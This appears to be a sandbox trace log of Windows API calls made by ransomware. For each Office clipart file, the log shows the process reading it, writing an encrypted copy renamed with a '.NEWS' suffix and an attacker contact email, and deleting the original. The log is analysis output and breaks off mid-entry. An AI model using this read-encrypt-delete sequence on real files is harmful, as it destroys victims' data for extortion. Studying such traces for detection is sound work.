(lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0088.001] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0088.001] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0088.001] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0088.001] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0088.002] GetLastError () returned 0x0 [0088.002] ReadFile (in: hFile=0x39c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x2994, lpOverlapped=0x0) returned 1 [0088.385] WriteFile (in: hFile=0x350, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x29a0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x29a0, lpOverlapped=0x0) returned 1 [0088.386] ReadFile (in: hFile=0x39c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0088.386] WriteFile (in: hFile=0x350, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0088.386] SetEndOfFile (hFile=0x350) returned 1 [0088.676] CloseHandle (hObject=0x350) returned 1 [0088.676] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0088.676] SetEndOfFile (hFile=0x39c) returned 1 [0088.677] CloseHandle (hObject=0x39c) returned 1 [0088.677] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0088.678] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf")) returned 1 [0088.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0088.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0088.678] lstrlenW (lpString=".doc") returned 4 [0088.678] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0088.678] lstrlenW (lpString=".docx") returned 5 [0088.678] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0088.678] lstrlenW (lpString=".pdf") returned 4 [0088.678] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0088.678] lstrlenW (lpString=".xls") returned 4 [0088.678] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0088.678] lstrlenW (lpString=".xlsx") returned 5 [0088.678] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0088.678] lstrlenW (lpString=".ppt") returned 4 [0088.678] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0088.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0088.678] lstrlenW (lpString=".zip") returned 4 [0088.678] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0088.678] lstrlenW (lpString=".rar") returned 4 [0088.678] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0088.678] lstrlenW (lpString=".bz2") returned 4 [0088.679] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0088.679] lstrlenW (lpString=".7z") returned 3 [0088.679] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0088.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0088.679] lstrlenW (lpString=".dbf") returned 4 [0088.679] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0088.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0088.679] lstrlenW (lpString=".1cd") returned 4 [0088.679] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0088.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0088.679] lstrlenW (lpString=".jpg") returned 4 [0088.679] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0088.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0088.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0088.679] lstrlenW (lpString=".doc") returned 4 [0088.679] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0088.679] lstrlenW (lpString=".docx") returned 5 [0088.679] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0088.679] lstrlenW (lpString=".pdf") returned 4 [0088.679] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0088.679] lstrlenW (lpString=".xls") returned 4 [0088.679] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0088.679] lstrlenW (lpString=".xlsx") returned 5 [0088.679] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0088.679] lstrlenW (lpString=".ppt") returned 4 [0088.679] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0088.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0088.679] lstrlenW (lpString=".zip") returned 4 [0088.679] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0088.679] lstrlenW (lpString=".rar") returned 4 [0088.679] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0088.679] lstrlenW (lpString=".bz2") returned 4 [0088.679] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0088.679] lstrlenW (lpString=".7z") returned 3 [0088.680] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0088.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0088.680] lstrlenW (lpString=".dbf") returned 4 [0088.680] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0088.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0088.680] lstrlenW (lpString=".1cd") returned 4 [0088.680] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0088.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0088.680] lstrlenW (lpString=".jpg") returned 4 [0088.680] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0088.680] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0088.680] lstrlenW (lpString="HH01015_.WMF") returned 12 [0088.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0088.681] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=1148) returned 1 [0088.681] CloseHandle (hObject=0x39c) returned 1 [0088.681] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf")) returned 0x220 [0088.681] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0088.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0088.681] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0088.681] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0088.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0088.682] GetLastError () returned 0x0 [0088.682] ReadFile (in: hFile=0x39c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x47c, lpOverlapped=0x0) returned 1 [0088.683] WriteFile (in: hFile=0x350, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x480, lpOverlapped=0x0) returned 1 [0088.684] ReadFile (in: hFile=0x39c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0088.684] WriteFile (in: hFile=0x350, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0088.684] SetEndOfFile (hFile=0x350) returned 1 [0088.684] CloseHandle (hObject=0x350) returned 1 [0088.684] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0088.684] SetEndOfFile (hFile=0x39c) returned 1 [0088.685] CloseHandle (hObject=0x39c) returned 1 [0088.685] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0088.685] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf")) returned 1 [0088.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0088.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0088.685] lstrlenW (lpString=".doc") returned 4 [0088.686] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0088.686] lstrlenW (lpString=".docx") returned 5 [0088.686] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0088.686] lstrlenW (lpString=".pdf") returned 4 [0088.686] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0088.686] lstrlenW (lpString=".xls") returned 4 [0088.686] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0088.686] lstrlenW (lpString=".xlsx") returned 5 [0088.686] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0088.686] lstrlenW (lpString=".ppt") returned 4 [0088.686] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0088.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0088.686] lstrlenW (lpString=".zip") returned 4 [0088.686] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0088.686] lstrlenW (lpString=".rar") returned 4 [0088.686] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0088.686] lstrlenW (lpString=".bz2") returned 4 [0088.686] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0088.686] lstrlenW (lpString=".7z") returned 3 [0088.686] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0088.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0088.686] lstrlenW (lpString=".dbf") returned 4 [0088.686] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0088.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0088.686] lstrlenW (lpString=".1cd") returned 4 [0088.686] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0088.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0088.686] lstrlenW (lpString=".jpg") returned 4 [0088.686] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0088.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0088.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0088.686] lstrlenW (lpString=".doc") returned 4 [0088.686] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0088.686] lstrlenW (lpString=".docx") returned 5 [0088.686] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0088.687] lstrlenW (lpString=".pdf") returned 4 [0088.687] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0088.687] lstrlenW (lpString=".xls") returned 4 [0088.687] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0088.687] lstrlenW (lpString=".xlsx") returned 5 [0088.687] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0088.687] lstrlenW (lpString=".ppt") returned 4 [0088.687] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0088.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0088.687] lstrlenW (lpString=".zip") returned 4 [0088.687] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0088.687] lstrlenW (lpString=".rar") returned 4 [0088.687] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0088.687] lstrlenW (lpString=".bz2") returned 4 [0088.687] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0088.687] lstrlenW (lpString=".7z") returned 3 [0088.687] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0088.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0088.687] lstrlenW (lpString=".dbf") returned 4 [0088.687] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0088.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0088.687] lstrlenW (lpString=".1cd") returned 4 [0088.687] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0088.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0088.687] lstrlenW (lpString=".jpg") returned 4 [0088.687] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0088.687] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0088.687] lstrlenW (lpString="HH01058_.WMF") returned 12 [0088.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0088.688] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=2756) returned 1 [0088.688] CloseHandle (hObject=0x39c) returned 1 [0088.688] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf")) returned 0x220 [0088.688] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0088.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0088.688] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0088.689] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0088.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0088.689] GetLastError () returned 0x0 [0088.689] ReadFile (in: hFile=0x39c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0xac4, lpOverlapped=0x0) returned 1 [0088.690] WriteFile (in: hFile=0x350, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xad0, lpOverlapped=0x0) returned 1 [0088.691] ReadFile (in: hFile=0x39c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0088.691] WriteFile (in: hFile=0x350, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0088.691] SetEndOfFile (hFile=0x350) returned 1 [0088.691] CloseHandle (hObject=0x350) returned 1 [0088.691] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0088.692] SetEndOfFile (hFile=0x39c) returned 1 [0088.693] CloseHandle (hObject=0x39c) returned 1 [0088.693] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0088.693] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf")) returned 1 [0088.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0088.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0088.693] lstrlenW (lpString=".doc") returned 4 [0088.693] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0088.693] lstrlenW (lpString=".docx") returned 5 [0088.693] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0088.693] lstrlenW (lpString=".pdf") returned 4 [0088.693] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0088.693] lstrlenW (lpString=".xls") returned 4 [0088.693] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0088.693] lstrlenW (lpString=".xlsx") returned 5 [0088.693] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0088.693] lstrlenW (lpString=".ppt") returned 4 [0088.694] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0088.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0088.694] lstrlenW (lpString=".zip") returned 4 [0088.694] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0088.694] lstrlenW (lpString=".rar") returned 4 [0088.694] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0088.694] lstrlenW (lpString=".bz2") returned 4 [0088.694] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0088.694] lstrlenW (lpString=".7z") returned 3 [0088.694] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0088.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0088.694] lstrlenW (lpString=".dbf") returned 4 [0088.694] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0088.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0088.694] lstrlenW (lpString=".1cd") returned 4 [0088.694] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0088.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0088.694] lstrlenW (lpString=".jpg") returned 4 [0088.694] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0088.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0088.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0088.694] lstrlenW (lpString=".doc") returned 4 [0088.694] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0088.694] lstrlenW (lpString=".docx") returned 5 [0088.694] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0088.694] lstrlenW (lpString=".pdf") returned 4 [0088.694] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0088.694] lstrlenW (lpString=".xls") returned 4 [0088.694] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0088.694] lstrlenW (lpString=".xlsx") returned 5 [0088.694] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0088.694] lstrlenW (lpString=".ppt") returned 4 [0088.694] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0088.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0088.694] lstrlenW (lpString=".zip") returned 4 [0088.694] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0088.694] lstrlenW (lpString=".rar") returned 4 [0088.695] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0088.695] lstrlenW (lpString=".bz2") returned 4 [0088.695] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0088.695] lstrlenW (lpString=".7z") returned 3 [0088.695] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0088.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0088.695] lstrlenW (lpString=".dbf") returned 4 [0088.695] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0088.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0088.695] lstrlenW (lpString=".1cd") returned 4 [0088.695] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0088.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0088.695] lstrlenW (lpString=".jpg") returned 4 [0088.695] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0088.695] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0088.695] lstrlenW (lpString="HH01065_.WMF") returned 12 [0088.695] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0088.695] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=1268) returned 1 [0088.695] CloseHandle (hObject=0x39c) returned 1 [0088.695] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf")) returned 0x220 [0088.696] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0088.696] 